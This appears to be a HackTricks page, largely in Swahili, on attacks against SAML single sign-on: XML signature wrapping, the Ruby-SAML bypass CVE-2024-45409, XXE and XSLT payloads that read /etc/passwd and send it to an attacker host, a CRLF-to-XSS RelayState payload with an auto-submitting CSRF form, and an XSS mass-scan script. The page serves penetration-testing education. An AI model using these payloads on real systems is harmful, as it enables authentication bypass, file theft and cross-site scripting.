SAML Attacks

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Maelezo ya Msingi

SAML Basics

Zana

SAMLExtractor: Zana inayoweza kupokea URL au orodha ya URL na kurudisha SAML consume URL.

Mzunguko wa XML

Katika XML, sehemu iliyosainiwa ya XML inahifadhiwa kwenye kumbukumbu, kisha kodishaji/dekodishaji (encoding/decoding) inafanywa na sahihi inakaguliwa. Kimsingi kodishaji/dekodishaji hiyo haipaswi kubadilisha data, lakini kulingana na tukio hilo, data inayokaguliwa na data ya asili zinaweza zisifanane.

Kwa mfano, angalia msimbo ufuatao:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Kuendesha programu dhidi ya REXML 3.2.4 au toleo la awali kungezaa matokeo yafuatayo badala yake:

First child in original doc: Y
First child after round-trip: Z

Hivi ndivyo REXML ilivyomuona hati ya asili ya XML kutoka kwa programu hapo juu:

Na hivi ndivyo ilivyomuona baada ya mzunguko wa parsing na serialization:

Kwa taarifa zaidi kuhusu udhaifu na jinsi ya kuliudhiibu:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML Signature Wrapping Attacks

Kwenye XML Signature Wrapping attacks (XSW), adui wanatumia udhaifu unaotokea wakati hati za XML zinapotengenezwa kupitia hatua mbili tofauti: signature validation na function invocation. Mashambulizi haya yanajumuisha kubadilisha muundo wa hati ya XML. Hasa, mshambuliaji injects forged elements ambazo haziharibu uhalali wa XML Signature. Ubadilishaji huu unalenga kuunda tofauti kati ya vifungu vinavyotathminiwa na application logic na vile vinavyokaguliwa na signature verification module. Kwa matokeo, ingawa XML Signature inabaki kuwa halali kitaalamu na kupita uthibitisho, application logic inachakata fraudulent elements. Hivyo, mshambuliaji anavuka kwa ufanisi integrity protection na origin authentication za XML Signature, na kuruhusu injection of arbitrary content bila kutambulika.

Mashambulizi yafuatayo yamejengwa kulingana na this blog post na this paper. Angalia zile kwa maelezo zaidi.

XSW #1

• Mkakati: Elemeni mpya ya root inayobeba signature inaongezwa.
• Madhara: Validator inaweza kuchanganyikiwa kati ya halali “Response -> Assertion -> Subject” na “evil new Response -> Assertion -> Subject” ya mshambuliaji, ikisababisha matatizo ya uadilifu wa data.

XSW #2

• Tofauti na XSW #1: Inatumia detached signature badala ya enveloping signature.
• Madhara: Muundo “evil”, unaofanana na XSW #1, inalenga kudanganya business logic baada ya ukaguzi wa uadilifu.

XSW #3

• Mkakati: Assertion ‘evil’ imetengenezwa kwa ngazi ya usanifu sawa na assertion ya asili.
• Madhara: Inakusudia kuchanganya business logic ili itumie data hatarishi.

XSW #4

• Tofauti na XSW #3: Assertion ya asili inakuwa mtoto wa Assertion iliyorudiwa (evil).
• Madhara: Inafanana na XSW #3 lakini inabadilisha muundo wa XML kwa shambulio kali zaidi.

XSW #5

• Sehemu ya kipekee: Hakuna Signature wala Assertion ya asili inayofuata usanidi wa kawaida (enveloped/enveloping/detached).
• Madhara: Assertion iliyokopiwa ina-envelope Signature, ikibadilisha muundo wa hati uliotarajiwa.

XSW #6

• Mkakati: Uingizaji katika eneo linalofanana na XSW #4 na #5, lakini na mabadiliko.
• Madhara: Assertion iliyokopiwa ina-envelope Signature, ambayo kisha ina-envelope Assertion ya asili, ikianzisha muundo wa utapeli uliopangwa ndani.

XSW #7

• Mkakati: Element Extensions inaingizwa ikiwa Assertion iliyokopiwa kama mtoto.
• Madhara: Hii inatumia schema isiyo kali ya element Extensions kuvuka hatua za ukaguzi wa schema, hasa katika maktaba kama OpenSAML.

XSW #8

• Tofauti na XSW #7: Inatumia element nyingine ya XML isiyo kali kwa aina tofauti ya shambulio.
• Madhara: Assertion ya asili inakuwa mtoto wa element isiyo kali, ikirudisha muundo ulio tumika katika XSW #7.

Tool

Unaweza kutumia extension ya Burp SAML Raider kusoma request, kutekeleza aina yoyote ya XSW unayoichagua, na kuanzisha shambulio.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: Ikiwa Service Provider inatumia Ruby-SAML iliyo na udhaifu (mf. GitLab SAML SSO), mshambuliaji anayeweza kupata any IdP-signed SAMLResponse anaweza forge a new assertion na kujithibitisha kama watumiaji wowote.

Mtiririko wa juu (signature-wrapping style bypass):

1. Rekodi/kamata legitimate SAMLResponse katika SSO POST (Burp au browser devtools). Unahitaji tu IdP-signed response yoyote kwa SP lengwa.
2. Decode transport encoding hadi raw XML (kwa utaratibu wa kawaida): URL decode → Base64 decode → raw inflate.
3. Tumia PoC (kwa mfano, script ya Synacktiv) ili patch IDs/NameID/conditions na rewrite signature references/digests ili uthibitisho bado upite wakati SP inachukua sehemu za assertion zilizo chini ya udhibiti wa mshambuliaji.
4. Re-encode XML iliyopachikwa (raw deflate → Base64 → URL encode) na irudishe kwenye SAML callback endpoint. Ikiwa itaweza, SP itakuingiza kama mtumiaji uliotajwa.

Mfano ukitumia Synacktiv PoC (ingizo ni blob ya SAMLResponse iliyokamatwa):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

If you don’t know which kind of attacks are XXE, please read the following page:

XXE - XEE - XML External Entity

SAML Responses ni deflated and base64 encoded XML documents na yanaweza kuwa nyeti kwa XML External Entity (XXE) attacks. Kwa kubadilisha muundo wa XML wa SAML Response, washambuliaji wanaweza kujaribu kutumia udhaifu wa XXE. Hivi ndivyo shambulizi kama hili linavyoweza kuonyeshwa:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Zana

Unaweza pia kutumia kiendelezi cha Burp SAML Raider kutengeneza POC kutoka kwa ombi la SAML ili kujaribu uwezekano wa udhaifu wa XXE na udhaifu wa SAML.

Angalia pia hotuba hii: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT kupitia SAML

Kwa taarifa zaidi kuhusu XSLT nenda kwa:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) zinaweza kutumika kubadilisha nyaraka za XML kuwa muundo mbalimbali kama HTML, JSON, au PDF. Ni muhimu kutambua kwamba XSLT transformations hufanywa kabla ya uhakiki wa sahihi ya kidijitali. Hii ina maana kwamba shambulio linaweza kufanikiwa hata bila sahihi halali; sahihi iliyojisaini yenyewe au sahihi isiyo halali inatosha kuendelea.

Hapa unaweza kupata POC ya kuangalia aina hizi za udhaifu; kwenye ukurasa wa hacktricks uliozitajwa mwanzoni mwa sehemu hii utapata payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Zana

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Angalia pia mazungumzo haya: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion inachunguza tabia ya utekelezaji za SAML wakati element ya Signature haipo. Ikiwa element hii itakosekana, signature validation may not occur, na hivyo kuifanya kuwa hatarini. Inawezekana kujaribu hili kwa kubadilisha yaliyomo ambayo kawaida hudhibitishwa na signature.

Zana

You can also use the Burp extension SAML Raider. Intercept the SAML Response and click Remove Signatures. In doing so all Signature elements are removed.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking ni teknik ya kujaribu kama Service Provider (SP) inapitia ipasavyo kwamba SAML Message imesainiwa na Identity Provider (IdP) anaeaminika. Inahusisha kutumia *self-signed certificate kusaini SAML Response au Assertion, jambo linalosaidia kutathmini mchakato wa uthibitisho wa trust kati ya SP na IdP.

Jinsi ya Kufanya Certificate Faking

The following steps outline the process using the SAML Raider Burp extension:

1. Intercept the SAML Response.
2. If the response contains a signature, send the certificate to SAML Raider Certs using the Send Certificate to SAML Raider Certs button.
3. In the SAML Raider Certificates tab, select the imported certificate and click Save and Self-Sign to create a self-signed clone of the original certificate.
4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
5. Remove any existing signatures with the Remove Signatures button.
6. Sign the message or assertion with the new certificate using the (Re-)Sign Message or (Re-)Sign Assertion button, as appropriate.
7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion na Service Provider Target Confusion zinahusisha kuangalia kama Service Provider inathibitisha kwa usahihi recipient iliyokusudiwa ya response. Kwa kifupi, Service Provider inapaswa kukataa authentication response ikiwa ilikuwa iliyokusudiwa kwa provider tofauti. Element muhimu hapa ni uwanja wa Recipient, uliopo ndani ya element ya SubjectConfirmationData ya SAML Response. Uwanja huu unaonyesha URL inayosema wapi Assertion lazima itumwe. Ikiwa recipient halisi haifanyi match na Service Provider iliyokusudiwa, Assertion inapaswa kuchukuliwa kuwa batili.

Jinsi Inavyofanya Kazi

Ili shambulio la SAML Token Recipient Confusion (SAML-TRC) liwe lawezekana, masharti fulani yanapaswa kutimizwa. Kwanza, lazima kuwe na akaunti halali kwenye Service Provider (inayejulikana kama SP-Legit). Pili, Service Provider inayolengwa (SP-Target) inapaswa kukubali tokens kutoka kwa Identity Provider ile ile inayomtumikia SP-Legit.

Mchakato wa shambulio ni rahisi chini ya masharti haya. Kikao halisi kinaanzishwa na SP-Legit kupitia Identity Provider wa pamoja. SAML Response kutoka kwa Identity Provider kwenda SP-Legit inakamatwa. SAML Response iliyokamatwa hiyo, iliyokusudiwa awali kwa SP-Legit, kisha inaelekezwa kwa SP-Target. Mafanikio ya shambulio yanapimwa kwa SP-Target kukubali Assertion, na hivyo kumpa upatikanaji wa rasilimali chini ya jina la akaunti ile ile iliyotumika kwa SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS katika Logout functionality

Utafiti wa awali unaweza kupatikana kupitia kiungo hiki.

Wakati wa mchakato wa directory brute forcing, ukurasa wa logout uligunduliwa kwenye:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Nilipofungua kiungo hiki, nilipelekwa kwa:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Hii ilionyesha kwamba kigezo base kinakubali URL. Kwa kuzingatia hili, wazo lilitokea kubadilisha URL na javascript:alert(123); katika jaribio la kuanzisha XSS (Cross-Site Scripting) attack.

Mass Exploitation

Kutoka katika utafiti huu:

Zana SAMLExtractor ilitumiwa kuchambua subdomains za uberinternal.com kwa ajili ya kuangalia domain zinazotumia maktaba ile ile. Baadaye, script ilitengenezwa kulenga ukurasa wa oidauth/prompt. Script hii inajaribu XSS (Cross-Site Scripting) kwa kuingiza data na kukagua ikiwa inarudishwa katika matokeo. Katika kesi ambapo ingizo linaonekana kurudishwa, script inaashiria ukurasa kuwa dhaifu.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Baadhi ya SAML SSO endpoints hu-decode RelayState kisha kuirudisha kwenye response bila kusafisha. Ikiwa unaweza kuingiza newlines na kubadilisha Content-Type ya response, unaweza kulazimisha browser i-render HTML iliyodhibitiwa na mshambuliaji, ukifikia reflected XSS.

• Wazo: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
• Inafanya kazi hata wakati RelayState inatibiwa kwa base64 server-side: weka base64 inayodecode kuwa header/body injection.

Hatua za jumla:

1. Tengeneza mfululizo wa header/body injection unaoanza na newline, badilisha Content-Type kuwa HTML, kisha ingiza payload ya HTML/JS:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>

2. Fanya URL-encode ya mfululizo (mfano):

%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E

3. Fanya base64-encode ya string iliyopakwa URL-encode na uiweke katika RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

4. Tuma POST yenye SAMLResponse sintaksia-halali na RelayState iliyotengenezwa kwenda kwenye SSO endpoint (mfano, /cgi/logout).
5. Sambaza kupitia CSRF: weka ukurasa unaojituma (auto-submits) cross-origin POST kwa origin lengwa ikijumuisha viwanja vyote viwili.

PoC dhidi ya NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Muundo wa utoaji wa CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Kwa nini inafanya kazi: server ina-decode RelayState na kuiingiza katika response kwa njia inayoruhusu newline injection, ikimruhusu attacker kuathiri headers na body. Kulazimisha Content-Type: text/html husababisha browser ku-render HTML inayoendeshwa na attacker kutoka kwenye response body.

Marejeo

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
• Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
• https://0xdf.gitlab.io/2026/03/03/htb-barrier.html
• https://github.com/synacktiv/CVE-2024-45409
• https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.